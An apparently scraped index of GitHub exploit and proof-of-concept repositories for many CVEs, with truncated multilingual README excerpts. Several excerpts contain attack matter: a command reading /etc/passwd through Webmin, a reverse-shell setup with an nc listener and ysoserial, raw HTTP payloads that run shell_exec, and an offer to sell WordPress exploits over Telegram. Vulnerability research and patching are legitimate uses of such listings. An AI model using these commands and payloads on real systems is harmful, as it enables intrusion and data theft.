CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - 未认证的任意SQL执行导致远程代码执行 CVE-2024-43918 WordPress的WBW Product Table Pro插件在版本1.9.4及之前的所有版本中，由于对一个函数缺失功能权限检查，容易受到未授权的任意SQL执行攻击。这使得未认证的攻击者能够执行任意SQL查询，从而窃取敏感数据或获得对易受影响站点的提升访问权限。 如需更多WordPress漏洞利用及独家漏洞，请通过Telegram联系我 @KtN1990。 使用 运行此漏洞利用程序需要安装python 3，并准备一个网站列表，然后执...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Apache Struts 2 vulnerable Docker container Apache has recently released an advisory regarding CVE-2023-50164, a critical vulnerability with a severity rating of 9.8 that affects Apache Struts 2. CVE-2023-50164 is intricately tied to an organization's Apache Struts architecture a...

CVE-2019-15642

CVE-2019-15642 Webmin 远程代码执行（已认证） Python 用法： python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 使用 Docker 搭建 Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin 用户名=root, 密码=root ⚡ root@jas502n  /vulhub/webmin/CVE-2019-15107 ...

CVE-2018-7750

CVE-2018-7750 一种针对CVE-2018-7750的远程命令执行（RCE）方法 Exploit Title: Paramiko 2.4.1 - Remote Code Execution Date: 2018-11-06 Exploit Author: jm33-ng Vendor Homepage: https://www.paramiko.org Software Link: https://github.com/paramiko/paramiko/archive/2.4.0.tar.gz Version: 1.17.6, 1.18.x 1.18.5, 2.0.x...

dRMM-CVE-2020-1350-response

概述 微软于2020年7月14日宣布了CVE-2020-1350漏洞。此漏洞存在于Windows DNS服务器中，可追溯至Server 2003，且被广泛认为具有蠕虫性。 本脚本遵循KB456509（https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability）的说明，无需重启服务器即可缓解该问题。 对于Datto...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Automated F5 Big IP Remote Code Execution CVE-2020-5902 Scanner Written In Python 3 Vulnerability Description F5 released a Critical Remote Code Execution vulnerability CVE-2020-5902 on 30th June 2020 that affects several versions of Big IP. Attacker can easily exploit RCE &...

CVE-2025-24016

Ejecución Remota de Código RCE en Wazuh - PoC Resumen de la Vulnerabilidad Este repositorio demuestra la vulnerabilidad de ejecución remota de código RCE en el servidor Wazuh, introducida por una deserialización insegura en el paquete wazuh-manager. La vulnerabilidad permite que atacantes remotos...

cve-2023-34040

CVE-2023-34040 Ejecución remota de código por deserialización en Spring Kafka POST /messages/send HTTP/1.1 Host: 127.0.0.1:8899 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/116.0.0.0...

git-dumper

git-dumper 一个从网站转储 git 仓库的工具。 安装 可以通过 pip 轻松安装： pip install git-dumper 使用 usage: git-dumper options URL DIR Dump a git repository from a website. positional arguments: URL url DIR output directory optional arguments: -h, --help show this help message and exit --proxy PROXY use the specified proxy...

ownCloud_RCE_CVE-2013-0303

This repository does not have a README...

CVE-2019-0230-PoC

CVE-2019-0230 CVE-2019-0230 Exploit Este es el Exploit de CVE-2019-0230 : uso python3 cve-2019-230.py ejemplo: python3 cve-2019-0230-poc.py pentest.com whoami Testing pentest.com! Command being passed for RCE: whoami 2020/10/22/...

CVE-2019-9193

EN GenPostgresRCEExploit is a PoC tool designed to exploit an authenticated Remote Code Execution RCE vulnerability in certain versions of PostgreSQL 9.3 - 11.7. It allows authenticated users to execute system commands on a PostgreSQL database server vulnerable to CVE-2019-9193. Features...

CVE-2022-22965

CVE-2022-22965 Spring框架/CVE-2022-22965 漏洞编号：CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 复现漏洞 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 漏洞检测 POC 建议使用POC对目标进行检测。其优点是基于DNSLOG验证漏洞是否存在，且不会修改tomcat的日志配置 python3 cve-2022-22965-poc.p...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 8443 端口 nc -lvp 8443 3. 执行python脚本 python3 cve-2021-29200exp.py 示例...

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC 描述 这是我对 CVE-2023-30253（Dolibarr 17.0.0 PHP 代码注入）的 PoC，当 CMS 网站插件（核心）被启用时，经过身份验证的攻击者可以通过绕过应用程序限制的 PHP 代码注入获得远程命令执行。 安装 克隆仓库： git clone https://github.com/g4nkd/CVE-2023-30253-PoC.git cd CVE-2023-30253-PoC pip install -r requirements.txt 使用 python3 exploit.py -h...

CVE-2024-9264

CVE-2024-9264 通过 SQL 表达式在 Grafana v11.0 中实现认证 RCE - PoC 漏洞利用 CVE-2024-9264 - Grafana v11.0 认证远程代码执行 RCE PoC 简介 CVE-2024-9264 是 Grafana 11 的实验性“SQL 表达式”功能中引入的一个严重远程代码执行和本地文件包含漏洞。该 API 将用户提供的 SQL 直接传递给 DuckDB CLI，而未进行充分的清理，因此任何拥有 Viewer 或更高级别权限的认证账户都可以注入 shell 命令或读取任意文件，前提是 duckdb 二进制文件位于服务器的 PATH ...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 是 Adobe ColdFusion 远程开发服务 RDS 中的一个路径遍历 漏洞，CVSS 评分为 10.0（严重） 。它允许未经身份验证的攻击者通过 /CFIDE/main/ide.cfm 端点读写任意文件，从而导致远程代码执行 RCE 。 安装 克隆仓库 git clone https://github.com//CVE-2026-48282.git cd CVE-2026-48282 安装依赖（仅需要 requests） pip install -r requirements.txt 用法 单个目标 -t 检查漏...

CVE-2023-33817---SQL-Injection-found-in-HotelDruid-3.0.5

CVE-2023-33817 - Inyección SQL encontrada en HotelDruid V3.0.5 HotelDruid v3.0.5 es vulnerable a la inyección SQL. Un atacante podría ejecutar comandos SQL arbitrarios para recuperar datos de las bases de datos o incluso ejecutar código de forma remota en el sistema de base de datos objetivo. Est...

CVE-2024-8425

Wordpress WooCommerce Ultimate Gift Card = 2.6.0 - Subida Arbitraria de Archivos No Autenticada CVE-2024-8425 El plugin WooCommerce Ultimate Gift Card para WordPress es vulnerable a subidas arbitrarias de archivos debido a una validación insuficiente del tipo de archivo en las funciones...

CVE-2020-17496

CVE-2020-17496 POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo shellexec"pwd"; exit;...